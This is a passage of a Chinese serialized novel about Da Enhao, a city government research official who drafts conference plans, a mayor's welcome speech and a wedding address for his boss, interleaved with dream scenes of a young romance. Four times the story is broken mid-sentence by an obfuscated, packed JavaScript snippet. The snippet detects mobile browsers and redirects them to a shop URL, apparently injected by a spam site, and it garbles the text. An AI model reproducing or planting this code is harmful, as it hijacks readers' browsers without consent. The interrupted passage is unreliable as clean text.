这时，一对青年男女的气息融为一体，两颗青春的心融化在了一齐。 一个斩新社会细胞就要萌动，一个新的生命就要相逢而结合，孕育与诞生。 这伟大的萌芽，是构筑起这人类巨厦的基础。这一砖一瓦，不可或缺，更无法替代。 他们搂住了青春，搂住了时光，搂住了岁月，搂住了历史！ 拥抱啊，拥抱！拥抱爱情的开始，拥抱新生命的开始，拥抱新生活的开始，拥抱明天的开始，拥抱美好的开始！ 这小伙儿心想，太爽快了，太刺激了，不曾经历过的感觉，身为男人的独特体验与自豪，骄傲！ 这美女在心里想，太甜蜜了，太美妙了，从未有过的感受，身为青年女子的独特体验与秘密，珍藏！ 天已大亮，一夜的睡梦终于醒了。 …… “分管科教文卫的刘市长，要参加伏羲大典，代表我们滨河市在研讨会上发言，达处处长你去准备个材料。”3月下旬的一天，上午上班时间，牛嘉成副主任找达恩豪过去他自己的副主任办公室，给达恩豪安排了这样一项工作。 “好的。”达恩豪有些难为情地这样回答道。心想，这也该是社会发展研究处范围的工作，怎么又叫我经济发展研究处搞，这不明显就是张冠李戴了吗，心里十分的不情愿，不痛快。既然领导已布置，那就闲话少说，干呗。 “这材料难写，要查好多的古籍文献，要好好总结归纳一番，深入分析研究一番才行。”达恩豪遇到难题难事，就习惯地抬手摸头发，挠头皮，这样自言自语，不过也是自话自说，没人听见，连自己也听不见，因为那是在心里说的话。 不是老同志遇到了新难题，而是老同志遇到了老难题，老难老难了。达恩豪加班加点，省图市图跑图书馆，查典籍，又爬在电脑上搜索，都是些什么《周易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136225|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》，《史记》，《论衡》，《尚书》，《孝经》，《说文解字》等，花了两三周时间，才撰写了一篇题目为《从伏羲文化看华夏民族的创新精神》，这材料共写了11页，大约5500多字。 这材料共写四部分：第一部分，人类发展的过程就是创新的历史，第二部分，勇于创新善于创新是华夏民族的最显著的民族特征，第三部分，伏羲文化是华夏民族最具代表性最具包容性的民族创新精神，重点包括创立易学，发明工具，媒约嫁娶，创造文字，天文历法，取火用火，姓氏制度，制琴作乐，宗教崇拜等九大内容，第四部分，必须继承和弘扬民族创新精神具有重大而深远的意义，主要包括不怕困难勇于探索的大无畏牺牲精神，追求真理尊重客观规律的求实精神，居安思危积极主动发奋努力的进取精神，不屈不挠锲而不舍持之以恒的执着精神，认真学习勤于总结善于继承的改革精神，胸襟宽广交流借鉴合作共赢的开放精神等，六大精神谱系培育发挥的基本保障措施。 “达处长，写得扎实的很，都按我说的意思写了，基本上差不多了，我再稍微顺一下就交给金主任修改审定。”达恩豪拿给牛嘉成看，副主任看完了，抬起头来，习惯性吧叽一个嘴巴，扶一把眼镜，望向达恩豪微笑着这样说道。 “牛主任，我可不能贪天之功，这可是您的思路和想法，把您的好思想给打印出了，发挥了个打字机的作用。”达恩豪还是不忘记给上司及时贴金，适时唱个赞歌的，发扬一下“表扬与自我表扬”的这一大优良作风，这样有些心计十分讨巧地微笑着回答道。 “……当前我们的工作和任务都有了新的变化，不是工作少了材料少了，而是任务更加繁重了，我们人手也不多，会写材料能写好材料的更少，我们要实干苦干更要巧干高效干高质量干，最大一项任务就是提前做好今年七月承办新亚欧大路桥国际研讨会的方案起草落实工作，我牵头把关，牛主任负责修改审核，经济处达处长负责起草，于本月中旬前拿出比较成熟的方案……”四月初的一天，早上上班时间，单位办公室又发通知了，要求全体干部职工都参加，下午在六楼中会议室，召开了专题工作会议，金学盛主持会议，长篇大论，一言堂，对大家这样说道。 牛嘉成会上也不多发言，讲话也就三五句，其实单位的事，材料的事，他说了都不算的，金学盛说了才算数。达恩豪口头上答应牛嘉成，其实心里也并不听牛嘉成的这材料的写法，根据金学盛的指示办，按“一把手”的意思写。参考上次首都办会的经验和作法，熬了好几天的时间，网上查资料，电脑上敲键盘，终于在本月十八日，提前预定时间两天，就写好了这份方案材料。 牛嘉成也不好说什么修改建议意见，只是看完了，改个错别字，什么地方格式不对，整合分段内容，字体字号上修改一下，就打印一份清样给金学盛修改审定。 17. 第 17 章 第十七章细细扣扣 这份材料达恩豪共写了14页，大约5500多字。内容除了戴帽的前言，还主要包括五大部分：第一部分，指导思想，第二部分，会议主题与活动内容，第三部分，会议时间、地点和内容，第四部分，组织机构，第五部分，会议及活动日程安排。 “这个方案就先这样吧，先按这个版本把经费，人员姓名等未敲定的留空处，我们继续落实后填写完整，然后就可以上报了。方案报批后，有什么变化再根据实际情况逐步修订就行了。”金学盛伏案仔细看完了这份《2007新亚欧大陆桥区域经济合作国际研讨会、新丝绸之路市长论坛及新丝绸之路城市文化周总体方案》的材料，把这材料往自己的办公桌上向前一推，仰身脊背靠到座椅背上，居高临下地抬下巴看着对面双人沙发上坐着的牛嘉成和达恩豪，很自信地这样说道。 “情况有新变化了，上面的领导提意见和要求了，三会合一有些复杂了，牛主任我也考虑了一下，你和达处长再抓紧起草个《联合国新丝绸之路明珠城市文化周活动执行方案》吧。”又过两天，上班时间，牛嘉成副主任又打电话给达恩豪，达恩豪赶紧来到金学盛主任办公室，这房间里坐着两个单位领导，除了窗户下办公桌椅间坐的金学盛主任，还有双人少发上早坐着牛嘉成副主任，不怪乎刚才的电话是金学盛办公室的号码来着。他进去这房间随手关门，然后走过去坐在了牛嘉成副主任旁边的双人沙发上，这时，金学盛看着对面的两个人，这样说道。 “金主任，好的，我们尽快弄出来。”牛嘉成副主任像叩头虫一样，又连连点头，又是坚决服从，这样忠心不贰地保证道。 牛嘉成和达恩豪拿着笔记本，都走出了金学盛主任办公室，牛嘉成站在楼道西头，给达恩豪交待抓紧去弄这个材料，达恩豪嗯了一声答应完了，转身往经济发展研究处办公室房间走去，牛嘉成转身掏出钥匙来，打开自己的办公室门，走了进去。 达恩豪又在电脑屏前爬了两天时间，除了下班回家晚上休息，中午吃完饭加班，又起草了一份《联合国新丝绸之路明珠城市文化周活动执行方案》，这材料共写了7页2300多字。这《方案》明确提出，本着“隆重、热烈、简洁、节约”原则进行，7月1日起“联合国新丝绸之路城市文化周”与“第二届黄河风情文化周暨第三届中国.滨河水车节”同时开幕。《方案》共包括三大部分，第一部分，文化周文艺展演，第二部分，市长申报演说与音乐歌舞专场活动，第三部分，礼仪活动。 …… 回家晚上钻进被窝里，睡在床上，达恩豪由于白天写材料，用脑过度，眼疲劳带动大脑困乏，不觉间又进了梦乡之中…… “小达，您们单位上有食堂？”这美女细眼长眉一挑，秋波急流，爱性发作，樱桃小口一点红，薄唇轻启，关切有加地问这小伙儿道。这美女总是这样称呼这小伙儿，小伙儿总是感觉有些隔阂，有些太过生份了，多了些生硬，少了些温柔与亲切，中间便有一种半推半就的矛盾心理，一下显现出来了。 “佳，单位是有个灶房的，平顶房食堂也很大，有四间房大，会议室和饭堂兼用。”这小伙儿受宠若惊，赶紧回答好像是从那家富豪屋中墙上挂着的一幅仕女图上，这时从这图中走下来的这位美女。这小伙儿一直称呼这美女，虽然是这美女明显感觉唐突了些，也亲呢了太多，但这小伙儿坚持，这美女也无法阻止这亲热与温情。 “你们食堂的饭做得怎么样呢？”这美女轻盈地举手捋一把头上的又黑又长的秀发，一扭头，骚首弄姿，大眼顾盼，目光温柔地看着这小伙儿，没话找话，这样追问一句话道。高雅的情爱与世俗的人间烟火相逢，瞬间就融化在了当下的眼前。 “佳，饭做得很一般的，面条米饭抓子面，顿顿洋芋白菜萝卜‘老三篇’。”这小伙儿赶紧接话茬，你和面前人有多熟悉，有多亲热呀，就诉苦申冤一般，这样回答这美女道。佳佳佳，你听叫得多亲呢啊，像个喜鹊飞着满天叫一样。不过天经地义，真正无虚不假，这小伙儿说得都是大实话。从来都是追求美食和追求爱情都是一样的执着，一样的坚定，一样的矢志不渝！ “不行，小达你晚上下班到我家来吃饭，我给你做？”这美女不知是爱情的力量，还是善心大发，悲天悯人，长眉细眼一弯，满脸笑容，小口微动，编贝闪露，这样对这小伙儿落落大方地口吐莲花般说道。 “太好了，我一定来，天天晚上来。”意外的惊喜，从天而降，撞了什么狗屎运了，使这小伙兴奋得不得了，激动得了不得，高兴得忘乎所以了，就手之舞之，脚踏干枝，满脸堆笑，这样对这美女抢着回答道。 真是天上掉下一个林妹妹来，这小伙儿艳福不浅呢！想什么来什么了。卧槽！真想不到，太满意！太爽快了！这简直就是送上门的幸福啊！这样这小伙儿就每天都能够多和这美女多接触一会儿，能够两人在一块儿多待些时间，就会拉近他和她的感情之间的距离，增强和提升他和她之间的感情的温度。 这小伙儿心心念念要找这美女的理由更充分了，借口更合理了。而且，吃完晚饭，两个人可以顺理成章，零距离无缝衔接，走两步路，就到了老地方，甜蜜的地方，去到这美女父亲办公室里，和这美女光明正大地幽会，两个人痛痛快快地再谈一晚上恋爱。 福无双至，日日至。这小伙儿些时感觉到，美妙啊！太美妙了！ …… “牛主任，达处长，三合一的新亚欧大陆桥国际研讨会里面，把联合国新丝绸之路明珠城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136226|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市文化周分出来，看来其他的材料也得分出来写了，你们再起草个这个文化周活动开幕式上常市长的欢迎致辞。”第二天，在单位上班时间，金学盛主任给达恩豪打电话，把他叫到主任办公室里，给还有早就座在双人沙发上的牛嘉成副主任这样说道。 材料塞满了所有的时间，一个后面排着一个，一个紧挨着一个，达恩豪感觉永远都做不完的工作，写不完的材料。就像掉进了一个大苦海里面，似是一辈子在里面挣扎，一生也游不出来！ “好的，金学任，我和达处长马上去弄。”牛嘉成副主任看一眼达恩豪，转头望着金学盛主任，然后习惯性地憋一下嘴巴，收紧双唇，像要下决心一样，这样说道。 走出金学盛主任的办公室门，站在楼道里，达恩豪扭头对牛嘉成副主任这样说道，牛主任我过去尽快写好拿地来你看，牛嘉成点个头后没说什么，转身拿着笔记本向自己办公室门走去，达恩豪转身也往经济发展研究处办公室走去。 达恩豪回到自己的办公桌上，坐着盯着电脑屏开始发功用力，摸摸头发，挠挠脑勺，敲敲键盘，点点鼠标，打打字，又辛辛苦苦干了两天，一份材料就写出来了。 这份《在华夏国.滨河2007年联合国新丝绸之路明珠城市文化周活动开幕式上的欢迎辞》的材料，达恩豪共写了3页1200多字。大标题下面的署名是这样的：河陇省省长助理、滨河市市长、常新祥，开幕式的时间是：2007年7月1日，派头很大，是：尊敬的联合国各位官员，尊敬的各国城市嘉宾，尊敬的各位领导，女士们、先生们，朋友们， 正文主要内容是：“华夏国古代有位世界闻名的思想家儒子说过，有朋自远方来不亦乐乎！在瓜果飘香风和日丽的美好时节，由联合国开发计划署、新亚欧大陆桥国际协调机制……今天在华夏文明发祥地黄河之滨的滨河隆重开幕了。在这里，我代表……表示热烈祝贺！向出席这次盛会的……表示衷心的感谢!滨河是黄河上游的一颗明珠……本届联合国新丝绸之路明珠城市文化周活动，坚持……我们相信，这次盛会对加强国内外沿桥城市经济文化交流与合作……我们将进一步抓好西部大开发的历史机遇……衷心祝愿各位领导、各位来宾、各界朋友在滨河期间身体健□□活愉快，工作顺利！谢谢。” “别看这份材料短，虽然篇幅不长，越要认真扎实，不但代表的咱们滨河市政府研究室水平，而且还代表咱们河陇省，甚至于代表华夏国的水平，还有时间，你们再细细扣上几天正式定稿，呈报市政府办公厅审定，最后给常市长签批。”达恩豪和牛嘉成副主任打印装订好一份这个材料，到金学盛主任办公室，呈给单位“一把手”修改审定，领导对的达恩豪和牛嘉成副主任，语重心长，声色俱厉地这样说教道。 18. 第 18 章 第十八章婚礼致辞 “金主任就按您的指示办呢，我们下去再好好扣一扣。达处长走吧。”牛嘉成副主任看一眼金学盛主任，转头望着达恩豪边这样说着，边拿上茶几上放着的自己的笔记本起身就走。 “好的，牛主任。”达恩豪也拿起茶几上的笔记本，跟着牛嘉副主任起身，这两个人一前一后的，走出金学盛主任的办公室，达恩豪在后面返身随手一带，关上了这办公室房间门。两个人出了“一把手”办公室，分道扬镳，各回自己的办公室而去。 “叮铃铃！”第二天，在单位上班时间，达恩豪正好坐在电脑前，敲一阵键盘，停一阵儿，像木头人一样发一会呆，琢磨修改两位领导安排布置的联合国新丝绸之路明珠城文化周开幕式上常市长致欢迎辞的材料，突然办公室桌上的电话铃声响了。 “达处长，你现在到金主任办公室来一下。”达恩豪先看了一下来电显示，是金学盛主任办公室打来的电话，赶紧接起来一听，是牛嘉成副主任的口音，在这电话里对达恩豪这样说道。 “我和牛主任刚商量了，你们经济处不是今年在搞平安滨河建设的调研吗，嘉成你继续带着达处长他们处的人，边搞这个调研，边协调尽快把这个课题给市科技局申报今年的科技发展计划项目，争取立项成功。通过科技局渠道，既促进了决策服务成果采纳运用转化能力提升，也可以宣传我们市政府研究室的工作。”金学盛想得很好，一样是搞课题调查研究，为什么不把调研成果一并转化为市级科技发展计划项目呢，这是一举两得的好事，工作照干了，又有经费花，何乐而不为，傻子才不干呢，就对牛嘉成副主任和达恩豪这样信心满怀地道。 “金主任英明哪，我们写搞课题调研写材料，活照样干了，任务完成了，又有钱花不赔本，还有赚头。走，达处长我们马上去跑这个项目。”牛嘉成副主任就是领导，“二把手”拍“一把手”马屁能拍得水平如此高，不亏为当领导的料。牛嘉成笑着，看一眼金学盛，然后转头没了笑容，对达恩豪这样说道。 “好的，牛主任走吧。”达恩豪边对牛嘉成这样说道，边跟着牛嘉成副主任走出了金学盛主任的办公室，达恩豪嘴虽然答应的这么爽快，其实心里还是在叫苦，市科技计划项目虽好，带经费有钱花，可质量要求高，比较难弄，特别费脑子费力气耗时间熬人，不好干。领导决定要干，没有办法不干，是推不掉的。 两个人一前后，来到楼道西边顶头的南边的一间办公室，其实就是金学盛主任办公室的西边隔壁，这时也手里拿着一本笔记本，跟着牛嘉成副主任开门锁进了这间办公室里面。 “达处长，你知道不知道，现在一般市科技局的项目给多少经费？”牛嘉成副主任走到自己的办公桌前，把手里的笔记本放到这办公桌上，坐下来瞧着也刚坐到对面双人沙发上的达恩豪，眉头一皱，这样若有所思地问道。 “以前是一个科技发展计划项目一般给5万元，最近这两年听说是变成3万元了，本单位得自筹2万元，表面上是总经费5万元不变。”达恩豪因为以前在县上农林局工作近二十年，专门搞农业科技推广整整十年，又搞局办公室主任兼经济作物管理站副站长近十年，直接主搞和参加了许多农业科技及其管理方面的研究课题，后上调市政府研究室又参加了两个单位的市科技发展计划项目课题，不但专门收藏了市科技局网站，能随时找到端口登录下载审报表格材料，而且对市科技局科技发展计划项目比较关注，所以比较掌握基本情况和动态变化，就对牛嘉成副主任这样胸有成竹地回答道。 “达处长市科技局以前很少打交道，也没有什么认识的熟人，听金主任刚说，你老处长经常搞市科技局的计划项目，熟悉认识的人多，你先去跑，如果有什么困难了我们再汇报金主任商量解决。”牛嘉成习惯性憋一憋嘴巴，这样对达恩豪说道，把金学盛主任布置的任务，全部又下达给了达恩豪，协调本该是牛嘉成副主任的职责，一块也推给他了，并且还说的这样相信你，信任你，这样做得理由好像非常充足似，牛嘉成就这样完全甩手了。 “好的，找市科技局计划处联系商量好课题和申报的时间，他们的网站上下载申报书，填报好单位领导签字盖公章，再上报市科技局计划处。牛主任那我过去先弄了。”这课题项目，过去过来干活的就达恩豪一人，他不干没有人干，谁干呢？他干呀。项目课题组就四个人：“一把手”主任是项目负责人，“二把手”是副主任是第一主搞人，再就除了达恩豪这个第二主搞人，还有项目第三主搞人，是一个既将就要退休的处里的老同志，是肯定也是挂名不干活的。 达恩豪既要参加下县区社区基层跟着调研，又要回到办公室里填审报书，撰写项目课题报告材料，还要利用自己累积的一点人脉资源，熟人关系协调项目立项的事情，整个一个项目等于他一个人全部承包，项目组四人共同分享胜利果实。 …… 达恩豪下班后，都得加上一两小时左右的班，就收拾收拾回家了。如果加班时间过长，老婆黄爱佳会有意见，给他甩脸子，不吱声，打冷战，他也有些害怕。 晚上躺在床上，身劳心更劳，疲劳得一上床就进入了梦乡之中…… 这小伙儿心想，谈恋爱的方法和形式多种多样，不计其数，不是吗，蹭饭也是谈恋爱的一样方式，何乐而不为，只要脸皮厚点就行。何况这是这美女自动相邀，只要这小伙答应她的请求就好。 这小伙要在这美女家上门蹭饭，这小伙儿感觉太幸运，太给力了。天上真得掉馅饼了，他捡到了。有免费的午餐，他要享受饕餮盛宴了。 这小伙儿思着想着，念着盼着，就有些乐不可吱。不由自主就眉毛弯下来了，嘴角就翘起来了，脸上有了灿烂的笑容，而且干工作搞调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136227|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研写材料也更加带劲了。 真的，这小伙儿中午在单位大灶上吃饭，到了下班，就迫不及待，来到这美女家里去蹭晚饭。 第一晚上，这小伙儿就厚着脸皮蹭饭成功了。 经这美女介绍，认识了美女的父亲，县上某家公司的副经理。这小伙儿的准岳父是个小个子中年人，细眉长眼，酷似这美女的眼眉，头发微卷，短分头，穿一身朴素的浅灰色衣裤，脚蹬一双黑皮鞋，手腕上戴一块手表。 这小伙儿到他家蹭饭，肯定是这美女已征得父亲同意的，至少是默许默认的，所以，看见这小伙儿来吃晚饭，也没有反对的意思，甚至都平常的没有一点反感。 这小伙儿心里犯了猜想：这美女的爸爸也是个出门在外工作多年的人，肯定也是经过多年吃单位食堂，上职工大灶，感同身受，知道单身汉的疾苦，能体谅漂泊在外之人的难处。 认识了之美女的大妹子，虽然是个子不大，身材单薄，也是细眉长眼，眉宇间有这美女的影子，但心特别强，性直口快，爱卫生整洁，爱干家务活，把个套间里外收拾得干干净净，整整齐齐的。 听这美女陆陆续续的介绍，这美女的弟弟在市里上商业学校，不住这里，二妹和三妹上中学，吃住在这个房间里，算是他父亲在县城安的家。 这美女家的饭也很平常，不是面条，就是面片，经常都是一个凉拌素菜，不是白菜，就是油菜，不是萝卜，就是苞苞莲花白。饭里面不是调个洋芋块，就是萝卜块，时里半会，也会打个鸡蛋，调点大肉臊子。 这小伙儿来这美女家蹭饭，吃着这特别粗淡平常的饭菜，却心里是甘之若饴，赛过蜜糖， 这蹭饭还真好，又省钱又解决肚子的问题，还能早早就和未来的亲戚们相识，相交，接近关系，简直是一箭三雕的大好事。 天天到这美女家里去蹭饭，这小伙儿感觉心里还挺踏实的。 天哪！弄明白了没有？这小伙儿这哪里是在蹭饭，这分明是在蹭人啊！ …… 滨河市政府研究室，这一阵儿，干部职工们当中正在疯传，说是单位“一把手”金学盛的儿子近期要结婚，不过，达恩豪也好像听鲁希雷也给他说过一嘴这事儿呢，不知道是真的还是假的，达恩豪一时还很难判断。 “今天召集大家，召开个金辉，也就是我儿子的婚礼筹备小组会议……达处长：领导婚礼致辞你负责起草，就像给单位上给市长写讲话材料一要下功夫，一定要写好写出彩来……”5月中旬的一天，上班时间，在金学盛主任的办公室里，坐了七八个人，开个私人会议，公私兼顾，公私合营，单位的事就是领导的事，同理，领导的大事也是单位的大事，金学盛把儿子婚礼上单位领导的致辞，特别荣幸地交给了达恩豪来写，这充分说明了单位“一把手”对达恩豪材料水平和能力的高度评价，充分地赞赏，完全的信任。 19. 第 19 章 第十九章婚礼帮忙 达恩豪领了任务，回到经济发展研究处的办公室，坐在自己的办公桌椅间，眼盯着屏幕，输入关键词组，点击搜索引擎，选择拉蓝，复制，粘贴到新建的空白文档里，挑选了些网络上的婚礼领导讲话的稿子，收集一块儿，以作撰写金学盛主任儿子结婚单位领导讲话稿的参考。 “噼哩啪啦！”达恩豪伏案打字，花了两天时间，给金学盛主任儿子结婚时，新郎新娘单位领导的致辞，写出来打印一份送去金学盛主任修改审定，金学盛主任看了后只说了一句话：“达处长，我感觉单位公文的味道太浓了点。” 达恩豪赶紧这样回答道：“金主任我马上去修改一下。” “哐哐哐！”达恩豪回到经济发展研究处，坐回自己的椅子，爬在电脑屏幕前，修改润色了多半天，校对好打印一份，兴冲冲地拿着去敲金主任的办公室门，侧耳细听，里面没有反应，想必是领导下班回家忙儿子婚礼筹备之事去了。达恩豪掏出手机一看，不怪是领导走了，忙昏了头，五点刚到，原来也到了下班时间了。 不知道写得好不好，达恩豪第二天早上，把这修改过后领导婚礼致辞拿给金学盛看，反正是金学盛主任看了，过关了，同意了。后来，达恩豪在这婚礼现场上，帮忙招呼客人，看着，听着，由滨河市交通局副局长，金学盛主任儿子金辉和儿媳妇唐颖的分管领导，拿着他早前打印好的的大红纸单子，照本宣科了。内容全文如下： “婚礼领导致辞 各位来宾、各位领导、亲朋好友们： 今天阳光明媚，欢声笑语，天降吉祥，是金辉和唐颖喜结良缘的日子，在这个美好的日子里，我们感到格外的高兴和荣幸。 现在，我代表新郎新娘的单位在此讲几句话。新郎天之骄子，思想进步、工作积极、勤奋好学，仪表堂堂，不但为人忠诚，而且多才多艺。是我们滨河市交通局不可多得的人才。新娘温柔可爱、美丽大方、为人友善、博学多才，也是我们单位的业务骨干。 俗话说：‘有缘千里来相会’。由于他们各自条件好，因此，一经相遇，就一见钟情，他们相爱了，他们志同道合，他们的结合真可谓是天生的一对，地造的一双。 在他们新的生活即将开始的时候，我作为他们单位的领导与同事，此时也为他们激动不已，高兴不已，欢喜不已。五月二十日，这个特别吉祥的日子。天上人间最幸福的一对将在今天喜结良缘。 今天，风和日丽，欢歌笑语，喜气洋洋，嘉宾盈门，欢聚一堂。在此良辰美景，让我们举起酒杯，向新人们表示最真诚的祝福。 祝福你们，新郎新娘，新婚快乐，比翼齐飞，爱情之树常青。祝贺你们纯洁、真挚的爱情。在对理想和事业追求中建立的新家，正是你们谱写美妙爱情和人生交响曲的延伸。 希望你们胸怀大志，树立远大的理想和抱负。要把个人理想融入到全面建设小康社会的共同理想之中，把个人奋斗融入到为实现祖国富强、民主、文明的共同奋斗之中。个人利益服从大局利益和长远利益，以勤奋的工作态度、扎实的工作作风、良好的工作成绩树立起青年崭新的社会形象。 希望你们勤奋学习，不断增强服务社会的本领。青年人要担负起历史所赋予的重大使命，就要增强学习新知识的紧迫感和责任感。要向书本学习，向实践学习，向人民群众学习。要视野开阔，思维超前，勇立潮头。这是新的形势对青年朋友们提出的新的要求。祝愿你俩用自己勤劳的双手，创造出优异的成绩，来回报社会和亲朋父老。 希望你们尊老爱幼，孝敬父母。尊老爱幼，孝敬父母是我们华夏民族的传统美德。在新的历史时期，青年人一定要继承好，示范好，发扬好。祝愿你们孝心不变，依然是个好儿子、好女儿，还要当个好媳妇、好女婿。 希望你们互敬互爱，勤俭持家。家庭是社会的细胞。青年人要以对社会高度负责的态度，搞好家庭建设。敬爱出和睦，勤俭持家久。这是千古遗训，青年人要牢记在心。祝愿你们互谅所短，互见所长，同舟共济，共建文明和谐的家庭。 最后，再次衷心的祝福新婚夫妇，永结同心，百年合好，白头偕老，工作顺利，万事如意，幸福美满。 谢谢大家！” …… 达恩豪下午下班回家，吃了晚饭，看完两集电视剧就上床睡觉了。不久，就进入甜蜜的梦乡之中…… 这美女的大妹子老二姑娘在心里这么想：我们家给这个小伙儿做饭吃，提供了这个小伙儿的能量，来和我姐姐谈恋爱，抢走了我姐姐，我坚决不同意，我不答应，我强烈地反对。 这美女的大妹子坚决反对这小伙儿来她们家里蹭饭，这小伙儿心里在想，是舍不得菜钱面钱手工钱，还是舍不得心爱姐姐被外我夺走，被别人夺走，被这娃夺走，或者是前者的原因，或者是后者的原因，也或者是二者原因皆吧。 这美女的大妹子，他看见了总是拉着一副长脸，表情冰冷得很，不给这小伙儿脸色好看，十分地不特见这小伙儿来这里蹭饭。这小伙儿只见这美女的大妹子忙着做家务收拾屋子，洗菜，做饭，从不正眼看这小伙儿一下。 这小伙儿也感觉奇怪，十分地不解，我和你姐谈恋爱，你用得着这么嫉妒，用得着这么憎恨吗！这小伙儿实在是想不通，确定弄不明白。为了爱情只能忍气吞声，怎能辩解，更不好发作。 晚上吃过饭后，例行之事是，这美女又引着这小伙儿，无门进了这美女父亲的单位办公室，一间挂着副经理牌子的房间，是一间十几平米左右的平房。 “我在你们家蹭饭，你大妹子好像意见很大呀！”在这美女爸爸的办公室房间里，这小伙儿瞅机会，对这美女问了这样一句话。 “我大妹子从小到大都这个直性子人，脾气特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136228|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别倔犟，心特别的强，其实有口无心，刀子嘴豆腐心那种人，你不要在意，别管她了。”这美女对这小伙儿的话不以为然，轻描淡写地这样回答道。 “原来如此，我知道了。”这小伙儿心里想，“一娘生九子，共有十个样”，一点儿不假呀，有遗传，也有变异。这小伙儿在农校中专学了三年，学得就是这个，《植物遗传学》，植物和高级动物，都是生物，道理是一样的，相似，相通的。 “这娃那怎么又来了？！”有一次，这美女的二妹老三姑娘，看着这美女的大妹子，偷偷地说了这样一句话。一听这话，这小伙儿就心里明白了，其实这美女的二妹子也心里是反对这小伙儿来她们家蹭饭的，这是肯定无疑的。 这小伙儿对这美女的二妹子这样说他，他无意中听到了，但他并不在意，也不计较。心里想，她有些太小了，她也还在学校念书，因此有些不懂事，还是情有可原的。 这美女的二妹子也这样说这小伙儿，这小伙儿并不放在心上，也不在意，好像这事没有发生过，这话也没有说过，他装作没有听见，假装不知道。 因此，这小伙儿，也给这美女从来也不提她二妹子说他的这事，不说出那句说他的话来。 一切为了恋爱！全部为了爱情！所有的付出都是值得的。 爱情至上！爱情宝贵！ …… 5月中旬的一天，晴转多云。上午达恩豪在家看电视，没有出门。下午，四点半，从家里出门下楼，出了小区大门，穿过马路向西走，到了斜对面的公交车站，等着坐132路公交车去铁桥南面的军区宾馆。这个公交车站其实就不是个真正的车站，只是在一根空中架设线缆的电杆上钉了一个长方形蓝底黑字的小站牌而依。 过来了一辆132路小公交车，达恩豪跟随着人流上了车，买了张五角的票，坐在靠右手的窗边看车外的景象，从右手拐过一个什字，直穿过一座黄河大桥，向右绕过六一公园，再向西三站就到了黄河铁桥南面的中山桥站，向东穿过马路，就到了中山宾馆。 看时间偿早，就在中山宾馆大门外的人行道上溜哒着过去，看北面的黄河铁桥南广场上的人流，等了一阵，达恩豪进到了军区宾馆一楼大厅，转着拐进了右手宾馆里面的小商店里，柜台里面摆着的商品主要是烟酒糖茶和文化用品，站在中间的一个书架着，取出一本又厚又大的名子叫《关系》的书粗略的浏览，放回原位置又拿了本《明朝演义》翻看了一阵，大约时间差不多了，他放回书，出了小商店，到大厅询问了一个穿工作服戴胸章的女服务员，国宴厅在那里，手往东一指说在最里面，他向东走到最里面，问站着的一个服务员，这服务员向北指着说这就是，进了国宴厅，里面早有四五个人来了，通过金主任介绍，他和金主任请的儿子婚事总理握手认识了。找个位置坐下，边抽着让过来的烟，边喝着服务员泡上来的茶闲聊着。 20. 第 20 章 第二十章张冠李戴 进来得人大多数都由金主任介绍给儿子婚事总理裴处长认识。五点到了，人也基本到齐了，共坐了三桌，里面西头一个能坐十四五个人的大酒桌，东头是个坐十个人的稍大点的酒桌，中间是个一般普通大小的酒桌。达恩豪和一帮同事们坐在东面的酒桌上，中间酒旧上坐着金主任老婆，儿子，还有几个帮忙的人，西头的大酒桌上坐着金主任，总理裴处长和十多个帮忙的领导同志。 八个凉菜上齐了，酒也倒好了，婚事安排会开始了。金主任先站起来讲话，表示感谢大家帮忙，请大家在婚礼继续帮忙，婚事操办交给总理裴处长安排。金主任坐下了，裴处长拿着一沓打印好内容的红纸单，开始安排婚事，宣布了协调小组八个人名子，各组的人员，职责，重点，工作任务，时间进度要求，以及发放了举行婚礼的酒店示意图，礼宾迎宾让座的名单，责任到人，职责明确。他和本单位社会处常处长，市交通局的两个处长，负责协调婚礼仪式的衔接，人员，化妆的落实。总理裴处长长篇大论，他十点多只喝了一碗面茶，这时确实有些饿了。 